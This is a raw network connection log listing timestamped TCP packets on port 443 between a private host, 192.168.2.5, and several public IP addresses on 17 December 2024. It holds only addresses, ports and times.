Dec 17, 2024 12:12:01.713675976 CET	49704	443	192.168.2.5	3.125.209.94
Dec 17, 2024 12:12:01.713694096 CET	443	49704	3.125.209.94	192.168.2.5
Dec 17, 2024 12:12:03.104367971 CET	443	49704	3.125.209.94	192.168.2.5
Dec 17, 2024 12:12:03.104470015 CET	49704	443	192.168.2.5	3.125.209.94
Dec 17, 2024 12:12:03.108376026 CET	49704	443	192.168.2.5	3.125.209.94
Dec 17, 2024 12:12:03.108388901 CET	443	49704	3.125.209.94	192.168.2.5
Dec 17, 2024 12:12:03.108628035 CET	443	49704	3.125.209.94	192.168.2.5
Dec 17, 2024 12:12:03.124552965 CET	49704	443	192.168.2.5	3.125.209.94
Dec 17, 2024 12:12:03.167340040 CET	443	49704	3.125.209.94	192.168.2.5
Dec 17, 2024 12:12:05.301258087 CET	443	49704	3.125.209.94	192.168.2.5
Dec 17, 2024 12:12:05.301549911 CET	443	49704	3.125.209.94	192.168.2.5
Dec 17, 2024 12:12:05.301615000 CET	49704	443	192.168.2.5	3.125.209.94
Dec 17, 2024 12:12:05.307070971 CET	49704	443	192.168.2.5	3.125.209.94
Dec 17, 2024 12:12:05.549294949 CET	49705	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:05.549400091 CET	443	49705	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:05.549518108 CET	49705	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:05.549909115 CET	49705	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:05.549947023 CET	443	49705	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:05.761025906 CET	49674	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:12:05.979779959 CET	49675	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:12:05.979779959 CET	49673	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:12:06.986561060 CET	443	49705	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:06.986676931 CET	49705	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:06.996917963 CET	49705	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:06.996956110 CET	443	49705	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:06.997392893 CET	443	49705	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:06.998713970 CET	49705	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:07.039336920 CET	443	49705	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:08.278543949 CET	443	49703	23.1.237.91	192.168.2.5
Dec 17, 2024 12:12:08.278763056 CET	49703	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:12:08.462219000 CET	443	49705	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:08.462376118 CET	49705	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:08.462441921 CET	443	49705	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:08.462563038 CET	49705	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:08.462982893 CET	443	49705	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:08.463099957 CET	443	49705	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:08.463172913 CET	49705	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:08.466001034 CET	49705	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:08.763444901 CET	49706	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:08.763492107 CET	443	49706	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:08.763621092 CET	49706	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:08.763894081 CET	49706	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:08.763914108 CET	443	49706	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:10.192800999 CET	443	49706	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:10.192933083 CET	49706	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:10.192955017 CET	443	49706	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:10.193021059 CET	49706	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:10.195447922 CET	49706	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:10.195456028 CET	443	49706	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:10.195992947 CET	443	49706	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:10.196974993 CET	49706	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:10.243340969 CET	443	49706	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:11.086399078 CET	443	49706	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:11.086754084 CET	443	49706	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:11.086808920 CET	49706	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:11.134440899 CET	49706	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:18.003452063 CET	49709	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:18.003499031 CET	443	49709	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:18.003612041 CET	49709	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:18.004123926 CET	49709	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:18.004136086 CET	443	49709	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:19.420618057 CET	443	49709	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:19.441426992 CET	49709	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:19.441450119 CET	443	49709	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:20.603007078 CET	49703	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:12:20.603116989 CET	49703	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:12:20.605149031 CET	49713	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:12:20.605271101 CET	443	49713	23.1.237.91	192.168.2.5
Dec 17, 2024 12:12:20.605345011 CET	49713	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:12:20.605698109 CET	49713	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:12:20.605722904 CET	443	49713	23.1.237.91	192.168.2.5
Dec 17, 2024 12:12:20.692239046 CET	443	49709	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:20.692305088 CET	49709	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:20.692321062 CET	443	49709	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:20.692363024 CET	49709	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:20.692483902 CET	443	49709	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:20.692538023 CET	443	49709	162.125.69.18	192.168.2.5
Dec 17, 2024 12:12:20.692583084 CET	49709	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:20.693077087 CET	49709	443	192.168.2.5	162.125.69.18
Dec 17, 2024 12:12:20.725941896 CET	443	49703	23.1.237.91	192.168.2.5
Dec 17, 2024 12:12:20.726239920 CET	443	49703	23.1.237.91	192.168.2.5
Dec 17, 2024 12:12:21.016696930 CET	49715	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:21.016736031 CET	443	49715	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:21.016802073 CET	49715	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:21.017210007 CET	49715	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:21.017230034 CET	443	49715	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:21.970011950 CET	443	49713	23.1.237.91	192.168.2.5
Dec 17, 2024 12:12:21.970391035 CET	49713	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:12:22.012636900 CET	49718	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:22.012748957 CET	443	49718	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:22.014792919 CET	49718	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:22.019373894 CET	49721	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:22.019483089 CET	443	49721	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:22.019644022 CET	49721	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:22.019948959 CET	49718	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:22.019984007 CET	443	49718	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:22.020648956 CET	49721	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:22.020679951 CET	443	49721	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:22.440768957 CET	443	49715	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:22.440875053 CET	49715	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:22.440892935 CET	443	49715	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:22.440954924 CET	49715	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:22.924393892 CET	49715	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:22.924407959 CET	443	49715	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:22.925386906 CET	443	49715	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:22.927467108 CET	49715	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:22.975332022 CET	443	49715	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:23.381222963 CET	443	49718	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:23.385198116 CET	443	49721	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:23.391578913 CET	49718	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:23.391627073 CET	443	49718	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:23.391748905 CET	49721	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:23.391809940 CET	443	49721	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:23.393349886 CET	443	49718	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:23.393423080 CET	49718	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:23.395503998 CET	443	49721	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:23.395584106 CET	49721	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:23.397507906 CET	49718	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:23.397627115 CET	443	49718	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:23.397716999 CET	49721	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:23.397957087 CET	443	49721	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:23.398467064 CET	49718	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:23.398483992 CET	443	49718	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:23.497328997 CET	49721	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:23.497392893 CET	443	49721	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:23.560313940 CET	443	49715	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:23.561548948 CET	443	49715	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:23.561623096 CET	49715	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:23.598331928 CET	49715	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:23.607343912 CET	443	49718	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:23.607446909 CET	49718	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:23.683685064 CET	49721	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:24.761606932 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:24.761683941 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:24.761832952 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:24.766999960 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:24.767025948 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:24.935493946 CET	443	49718	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:24.935564041 CET	49718	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:24.935587883 CET	443	49718	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:24.935605049 CET	443	49718	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:24.935631037 CET	49718	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:24.935657978 CET	49718	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:24.973377943 CET	49718	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:24.973396063 CET	443	49718	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:25.282479048 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:25.282512903 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:25.282610893 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:25.286919117 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:25.286931992 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:25.704042912 CET	49740	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:25.704091072 CET	443	49740	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:25.704210997 CET	49740	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:25.704396009 CET	49740	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:25.704406023 CET	443	49740	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:25.704643965 CET	49741	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:25.704756021 CET	443	49741	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:25.706998110 CET	49741	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:25.707199097 CET	49741	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:25.707233906 CET	443	49741	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:25.801048040 CET	49742	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:25.801093102 CET	443	49742	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:25.801161051 CET	49742	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:25.801724911 CET	49742	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:25.801742077 CET	443	49742	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.373584986 CET	49744	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.373608112 CET	443	49744	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.373698950 CET	49744	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.373928070 CET	49744	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.373945951 CET	443	49744	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.430366039 CET	49745	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.430418015 CET	443	49745	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.430488110 CET	49745	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.430732012 CET	49745	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.430747032 CET	443	49745	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.476721048 CET	49747	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.476737976 CET	443	49747	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.476849079 CET	49747	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.477255106 CET	49747	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.477267981 CET	443	49747	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.537435055 CET	49713	443	192.168.2.5	23.1.237.91
Dec 17, 2024 12:12:26.669504881 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:26.674694061 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:26.674726009 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:26.675427914 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:26.675447941 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:26.675519943 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:26.675530910 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:26.675560951 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:26.675576925 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:26.676553011 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:26.678381920 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:26.678456068 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:26.678565025 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:26.703517914 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:26.703984022 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:26.703994989 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:26.705060959 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:26.705123901 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:26.705132008 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:26.705208063 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:26.706186056 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:26.706257105 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:26.706530094 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:26.706538916 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:26.716706991 CET	49753	443	192.168.2.5	162.125.67.18
Dec 17, 2024 12:12:26.716717005 CET	443	49753	162.125.67.18	192.168.2.5
Dec 17, 2024 12:12:26.716840029 CET	49753	443	192.168.2.5	162.125.67.18
Dec 17, 2024 12:12:26.719357014 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:26.721031904 CET	49753	443	192.168.2.5	162.125.67.18
Dec 17, 2024 12:12:26.721040010 CET	443	49753	162.125.67.18	192.168.2.5
Dec 17, 2024 12:12:26.725956917 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:26.725980997 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:26.893336058 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:26.893438101 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:26.923592091 CET	443	49740	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.923921108 CET	49740	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.923950911 CET	443	49740	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.924858093 CET	443	49741	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.925486088 CET	443	49740	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.925546885 CET	49740	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.925966978 CET	49741	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.925995111 CET	443	49741	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.927350044 CET	49740	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.927436113 CET	443	49740	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.927469969 CET	443	49741	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.927526951 CET	49741	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.927594900 CET	49740	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.927609921 CET	443	49740	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.928589106 CET	49741	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.928675890 CET	443	49741	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.928821087 CET	49741	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:26.928831100 CET	443	49741	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:26.991199017 CET	49741	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.023363113 CET	49740	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.024324894 CET	443	49742	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.029460907 CET	49742	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.029484034 CET	443	49742	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.030544996 CET	443	49742	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.030601978 CET	49742	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.040065050 CET	49742	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.040230036 CET	49742	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.040266037 CET	443	49742	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.132716894 CET	49742	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.132777929 CET	443	49742	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.329963923 CET	49742	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.351380110 CET	443	49740	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.351445913 CET	443	49740	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.351556063 CET	49740	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.352190971 CET	49740	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.352212906 CET	443	49740	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.353534937 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.357049942 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.357703924 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:27.357739925 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.360831976 CET	443	49741	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.361052036 CET	443	49741	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.362989902 CET	49741	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.363286972 CET	49741	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.363311052 CET	443	49741	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.368942022 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.369961023 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:27.369977951 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.378552914 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.378974915 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:27.378992081 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.391441107 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.392549992 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:27.392561913 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.405117989 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.405189037 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:27.405204058 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.418770075 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.418952942 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:27.418973923 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.429486990 CET	49757	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.429547071 CET	443	49757	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.429912090 CET	49757	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.434814930 CET	49758	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.434860945 CET	443	49758	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.434950113 CET	49758	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.434993982 CET	49747	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.435136080 CET	49758	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.435136080 CET	49757	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.435183048 CET	443	49758	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.435184956 CET	443	49757	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.435237885 CET	49758	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.435250044 CET	49757	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.435702085 CET	49759	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.435726881 CET	443	49759	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.435869932 CET	49759	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.436335087 CET	49760	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.436372995 CET	443	49760	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.436573982 CET	49761	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.436600924 CET	443	49761	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.436602116 CET	49760	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.436657906 CET	49761	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.436757088 CET	49744	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.437295914 CET	49721	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:27.437503099 CET	49762	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.437515020 CET	443	49762	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.437541962 CET	443	49721	162.125.65.18	192.168.2.5
Dec 17, 2024 12:12:27.437566996 CET	49762	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.437597036 CET	49721	443	192.168.2.5	162.125.65.18
Dec 17, 2024 12:12:27.438047886 CET	49745	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.438261986 CET	49763	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.438268900 CET	443	49763	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.438543081 CET	49764	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.438566923 CET	49763	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.438566923 CET	443	49764	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.438849926 CET	49765	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.438863039 CET	49764	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.438890934 CET	443	49765	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.438942909 CET	49765	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.439732075 CET	49765	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.439748049 CET	443	49765	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.439866066 CET	49764	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.439877987 CET	443	49764	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.439997911 CET	49763	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.440009117 CET	443	49763	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.440135002 CET	49762	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.440145969 CET	443	49762	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.440249920 CET	49761	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.440256119 CET	443	49761	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.440347910 CET	49760	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.440356970 CET	443	49760	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.440494061 CET	49759	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.440512896 CET	443	49759	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.459824085 CET	443	49742	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.459897995 CET	443	49742	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.460010052 CET	49742	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.460237980 CET	49742	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:27.460256100 CET	443	49742	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:27.473448992 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.473530054 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:27.473551989 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.477433920 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.477513075 CET	49736	443	192.168.2.5	142.250.181.65
Dec 17, 2024 12:12:27.477526903 CET	443	49736	142.250.181.65	192.168.2.5
Dec 17, 2024 12:12:27.479325056 CET	443	49747	162.159.61.3	192.168.2.5
